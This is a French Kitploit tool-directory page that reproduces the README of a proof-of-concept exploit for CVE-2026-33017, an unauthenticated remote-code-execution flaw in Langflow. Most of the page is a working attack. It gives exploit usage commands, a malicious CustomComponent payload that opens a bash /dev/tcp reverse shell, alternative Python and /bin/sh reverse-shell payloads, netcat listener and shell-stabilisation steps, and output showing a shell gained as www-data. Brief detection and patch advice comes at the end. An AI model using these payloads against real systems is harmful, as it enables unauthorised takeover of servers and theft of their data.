Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

Exploit pour CVE-2026-33017, une RCE non authentifiée dans Langflow, permettant un reverse shell via une charge utile CustomComponent malveillante.

Voir le dépôt
10il y a 20 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33017 - Exploit RCE non authentifié Langflow

📋 Aperçu

CVE-2026-33017 est une vulnérabilité d'exécution de code à distance (RCE) non authentifiée dans les versions de Langflow <= 1.8.2. La vulnérabilité existe dans le point de terminaison /api/v1/build_public_tmp/{flow_id}/flow, qui manque d'authentification appropriée et permet aux attaquants d'exécuter du code Python arbitraire pendant le processus de compilation du graphe.

⚠️ Avertissement

Cet exploit est destiné uniquement à des fins éducatives et de test autorisé. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.

🎯 Versions concernées

VersionStatut
<= 1.8.2Vulnérable
1.9.0Corrigée

🔍 Détails de la vulnérabilité

Cause racine

La vulnérabilité provient de la fonction prepare_global_scope() dans validate.py, qui appelle exec() sur le code de chaque nœud CustomComponent sans sandboxing approprié. Lorsqu'un composant est chargé/compilé, tout code Python au niveau du module (en dehors des définitions de classe) est exécuté immédiatement.

Point de terminaison vulnérable

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Caractéristiques :

  • ❌ Aucune authentification requise
  • ❌ Aucune clé API requise
  • ❌ Aucun en-tête d'autorisation
  • ✅ Les données contrôlées par l'attaquant sont transmises directement au constructeur de graphe

Chaîne d'exécution du code

root@kitploit:~
Attaquant POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← EXÉCUTION DE CODE ARBITRAIRE

🛠️ Exploitation

Prérequis

  1. Un ID de flux public (UUID) d'une instance Langflow
  2. URL cible (instance Langflow)
  3. Adresse IP et port d'écoute pour le shell inversé

Installation

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

Exigences

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Utilisation

Syntaxe de base

root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

Exemples

1. Shell inversé

root@kitploit:~
# Démarrer l'écouteur
nc -lvnp 4444

# Exécuter l'exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. Utilisation des options courtes

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. Test local

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. Délai d'attente personnalisé

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

Arguments de ligne de commande

ArgumentCourtRequisDescription
--url-uOuiURL cible (ex. : https://target.langflow.com)
--flow-id-fOuiID de flux (UUID) du flux public
--lhost-lhOuiAdresse IP de l'écouteur pour le shell inversé
--lport-lpOuiPort de l'écouteur pour le shell inversé
--timeout-tNonDélai d'attente HTTP en secondes (défaut : 15)

🔧 Comment ça fonctionne

1. Structure de la charge utile

L'exploit envoie un nœud CustomComponent malveillant qui exécute du code au niveau du module :

root@kitploit:~
import os

# Ceci s'exécute immédiatement pendant le chargement du composant
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. Flux d'exécution

root@kitploit:~
1. L'attaquant envoie une requête POST à /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow reçoit le CustomComponent malveillant
3. prepare_global_scope() appelle exec() sur le code du composant
4. Le code au niveau du module s'exécute immédiatement
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Le shell inversé se connecte à l'écouteur de l'attaquant
6. La compilation du graphe continue (mais il est trop tard)

3. Pourquoi ça fonctionne

  • Exécution au niveau du module : le code en dehors des définitions de classe s'exécute pendant exec()
  • Aucun sandboxing : exec() est appelé sans restrictions
  • Aucune authentification : le point de terminaison est accessible publiquement
  • Données contrôlées par l'attaquant : le paramètre data est directement intégré

📊 Preuve de concept

Sortie d'exploit réussie

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Assurez-vous que votre écouteur est en cours d'exécution :
    nc -lvnp 4444

[+] URL cible : https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST : 10.10.16.171
[+] LPORT : 4444
[*] Envoi de la charge utile de l'exploit...
[+] Code de statut : 200
[+] Exploit envoyé avec succès !
[+] ID de tâche : abc123-def456-789ghi

[*] Vérifiez votre écouteur pour le shell inversé !
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 Utilisation avancée

Stabiliser le shell

Une fois que vous avez un shell inversé :

root@kitploit:~
# PTY Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Ou utiliser script
script /dev/null -c bash

# Mettre en arrière-plan avec Ctrl+Z
# Puis exécuter :
stty raw -echo
fg
reset
export TERM=xterm

Exécuter des commandes personnalisées

Modifiez le script pour exécuter des commandes arbitraires au lieu d'un shell inversé :

root@kitploit:~
# Dans la fonction build_payload() :
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

Charges utiles alternatives

1. Shell inversé par socket Python

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. Shell inversé /bin/sh (si bash n'est pas disponible)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ Détection et prévention

Indicateurs de détection

  • Requêtes POST vers /api/v1/build_public_tmp/*/flow sans authentification
  • Code CustomComponent suspect contenant os.system() ou subprocess
  • Fichiers inattendus /tmp/rce-proof ou /tmp/executed
  • Connexions sortantes depuis les conteneurs Langflow

Mesures de prévention

  1. Appliquer le correctif : mettre à jour vers Langflow 1.9.0 ou ultérieur
  2. Implémenter l'authentification : ajouter une authentification appropriée au point de terminaison /build_public_tmp
  3. Validation des entrées : assainir l'entrée de code pour CustomComponent
  4. Sandboxing : implémenter un sandboxing approprié pour les appels exec()
  5. Segmentation du réseau : isoler les instances Langflow

📚 Références

  • Avis GitHub : GHSA-vwmf-pq79-vjvx - Avis officiel CVE-2026-33017
  • Entrée CVE : CVE-2026-33017 sur NVD
  • Dépôt GitHub Langflow : langflow-ai/langflow
  • OWASP Top 10 - A03:2021 Injection : Aide-mémoire sur la prévention des injections

🗺️ Chronologie

DateÉvénement
Mars 2026Vulnérabilité découverte
16 mars 2026Avis GitHub publié
Avril 2026Divulgation publique
Avril 2026Correctif publié (1.9.0)

📝 Licence

Ce projet est destiné uniquement à des fins éducatives. Utilisation à vos propres risques.

⚖️ Avis juridique

Ce logiciel est fourni à des fins éducatives et de test de sécurité autorisé uniquement. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables du respect de toutes les lois et réglementations applicables.


Fait avec 🖤 pour la recherche en sécurité

Télécharger l’outil